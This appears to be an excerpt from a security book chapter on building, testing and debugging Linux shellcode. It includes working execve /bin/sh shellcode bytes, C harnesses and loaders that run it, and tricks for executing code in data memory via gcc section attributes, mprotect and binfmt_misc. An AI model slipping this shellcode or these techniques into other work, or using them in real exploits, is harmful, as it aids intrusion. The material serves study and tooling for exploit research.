Let's write shellcode so that it can be compiled as a real program if we add a global symbol named main
that points to the entry point:
BITS 32 global main main: xor edx,edx ; edx will be envp [...]
We can write a shellcode so that it can be compiled as a real program. We need only to add a global symbol named main
that points to the entry point:
$ nasm -f elf -o shcode.o shcode.asm $ gcc -o shcode shcode.o $ ./shcode sh-3.1$
Once we have built shellcode, the most common way to test it is to embed it into a C file.
To convert a raw file into a hexadecimal dump suitable for inclusion into a C file, use the following command:
$ od -An -tx1 shcode | sed -e 's/ /\\x/g' -e 's/.*/"&"/' "\x31\xd2\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\ x68\x00" "\x5b\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\xcc"
hexdump
's format string feature could have done quite a good job too, if its character escaping code was not totally broken.
Here is our C test program:
unsigned char shellcode[] = "\x31\xd2\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x5b\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\xcc"; int main(void) { ((void (*)())shellcode)( ); }
Now we can compile it and run it, to confirm that our shellcode is working:
$ gcc -o shcode.test shcode.test.c $ ./shcode.test sh-3.00$
Obtaining a segmentation fault at this stage is not always the shellcode's fault. Some protections that prevent code execution in data memory zones may be playing their role. You can try to move the shellcode declaration inside main( )
so that it will be executed in the stack, but that will probably not work either. At this point, you could force the shellcode to be inside the .text section of memory, but then we would not be able to change its read-only attribute, and self-modifying shellcode would crash. Instead, create a new section with the attributes you want using a little "section attribute injection vulnerability" trick in gcc:
unsigned char shellcode[] __attribute_ _((section(".egg,\"awx\",@progbits #"))) = "\x31\xd2\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x5b\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\xcc"; int main(void) { ((void (*)())shellcode)( ); }
You can also use mprotect( )
to explicitly allow code execution for the data buffer containing the shellcode. mprotect( )
must be called with a page boundary address, and the easiest way to achieve our goal is to page-align the shellcode, too:
#include <sys/mman.h> unsigned char shellcode[] __attribute_ _((aligned(4096))) = "\x31\xd2\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x5b\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\xcc"; int main(void) { mprotect(&shellcode, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC); ((void (*)())shellcode)( ); }
If you build a lot of shellcodes and need to test them often, copying them into C files each time you build a new one and then storing each one in its source, binary, and test file form will quickly become a hassle.
To remedy that, you can write a simple shellcode loader such as the one proposed in Example 10-4. It will mmap( )
the file given as its first argument in memory with read, write, and execution rights, and then jump to its first byte.
Example 10-4. eggrun_lite, a simple shellcode loader
#include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char *argv[]) { int f; off_t len; void (*egg)( ); if (argc != 2) return −1; f = open(argv[1], O_RDONLY); if (f == −1) { perror("open"); return −2; } len = lseek(f, 0, SEEK_END); if (len == −1) { perror("lseek"); return −3; } egg = mmap(NULL, len, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE, f, 0); if (!egg) { perror("mmap"); return −4; } egg( ); return 0; }
To make this even more convenient, we can use such things as the Linux miscellaneous binary format handler. We have to register our interpreter to the handler with, say, the .egg extension, and every file with the executable bit set that ends with this extension will be run by it:
# cd /proc/sys/fs/binfmt_misc/ # echo ':shellcode:E::egg::/path/to/eggrun_lite:' > register # cat shellcode enabled interpreter /path/to/shcode_loader flags: extension .egg
Now, we have hours and hours of fun waiting for us:
$ nasm binsh.egg.asm $ chmod +x binsh.egg $ ./binsh.egg sh-3.00$
By the way, the handler can be temporarily disabled by the command:
echo 0 > /proc/sys/fs/binfmt_misc/shellcode
and removed by:
echo −1 > /proc/sys/fs/binfmt_misc/shellcode
Attaching a debugger to shellcode is not easy, even with the eggrun_lite interpreter listed in Example 10-4. But if we tweak it a bit, we can transform eggrun_lite into a nice debugging tool that will call gdb automatically.
The idea is simple. If the shellcode runs fine, we will have the same result as with the original eggrun_lite loader. If something goes wrong, a signal will kill the process. But if the loader catches the signal, the loader can run gdb and attach itself, and then raise the signal again once the debugger is attached. The result is that gdb is automatically launched at the faulty place.
While the process is very neat, it may not help you to understand how we reach such state. To do so, we need to be able to debug from the beginning. Stopping at the very first instruction of the shellcode can be achieved by mapping shellcode without any access rights in the first place. Executing it will generate a SIGSEGV
caught by the fault handler. But this time, right before raising it again, we give full access rights back and block the signal so that gdb does not kill the process when passing the intercepted signal. See Example 10-5.
Example 10-5. The EggRun shellcode loader
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <signal.h> #define HIJACK_CORE_SIGS(x) do { \ signal(SIGQUIT, (x)); signal(SIGILL, (x)); signal(SIGABRT, (x)); \ signal(SIGFPE, (x)); signal(SIGSEGV, (x)); signal(SIGBUS, (x)); \ signal(SIGSYS, (x)); signal(SIGTRAP, (x)); \ } while (0) void (*egg)( ); off_t len; char *gdb_argv1; char gdb_argv2[32]; int debug; static void crash_handler(int sig) { int gdb; /* Ooops, egg crashed. Let's do it again with gdb attached */ HIJACK_CORE_SIGS(SIG_DFL); switch (gdb=fork( )) { case 0: execlp("gdb", "gdb", "--quiet", "-ex=jump *$pc", // prevents system call restart gdb_argv1, gdb_argv2, NULL); exit(0); // If we cannot exec gdb, forget about it. case −1: break; default: waitpid(gdb, NULL, 0); // wait until 'jump *$pc' if (debug && (sig==SIGSEGV)) { mprotect(egg, len, PROT_EXEC|PROT_READ|PROT_WRITE); signal(sig, SIG_IGN); } raise(sig); } } void usage(void) { fprintf(stderr, "Usage: shcode.egg [-d]\n"); exit(0); } int main(int argc, char *argv[]) { int f; char c; struct sigaction act; if (argc < 2) return −1; while ( (c = getopt(argc-1, argv+1, "dh")) != −1 ) { switch (c) { case 'd': debug = −1; break; case 'h': default: usage( ); } } f = open(argv[1], O_RDONLY); if (f == −1) { perror("open"); return −2; } len = lseek(f, 0, SEEK_END); if (len == −1) { perror("lseek"); return −3; } egg = mmap(NULL, len, (˜debug & (PROT_EXEC|PROT_READ|PROT_WRITE)), MAP_PRIVATE, f, 0); if (!egg) { perror("mmap"); return −4; } gdb_argv1 = argv[0]; snprintf(gdb_argv2, sizeof(gdb_argv2)-1, "%i", getpid( )); HIJACK_CORE_SIGS(crash_handler); egg( ); return 0; }
A correct shellcode will run the same way as with the simple loader:
$ ./hello.egg Hello world!
But a shellcode that crashes can be debugged with the running gdb:
$ ./crash.egg Using host libthread_db library "/lib/tls/libthread_db.so.1". [...] 0xb7f0280e in _ _waitpid_nocancel ( ) from /lib/tls/libc.so.6 Continuing at 0xb7f0280e. Program received signal SIGSEGV, Segmentation fault. 0xb7fb9040 in ?? ( ) (gdb) x/i $eip 0xb7fb9040: xor %eax,0x49(%ecx) (gdb) i reg ecx ecx 0x104 260
Moreover, a working or crashing shellcode can be debugged from its very first instruction when run with the -d
parameter:
$ ./binsh.egg -d Using host libthread_db library "/lib/tls/libthread_db.so.1". [...] 0xb7eff80e in _ _waitpid_nocancel ( ) from /lib/tls/libc.so.6 Continuing at 0xb7eff80e. Program received signal SIGSEGV, Segmentation fault. 0xb7fb6000 in ?? ( ) (gdb) x/4i $eip 0xb7fb6000: xor %eax,%eax 0xb7fb6002: push %eax 0xb7fb6003: push %ax 0xb7fb6005: pushw $0x702d (gdb) c Continuing. sh-3.1$
If you do not strip the eggrun binary, the egg symbol will be recognized by gdb, and you can to use it as a pointer to the beginning of the shellcode:
(gdb) x/2i egg 0xb7fdc000: dec %ecx 0xb7fdc001: inc %ecx
A more complete version of the eggrun program can be found at http://www.secdev.org/projects/eggrun.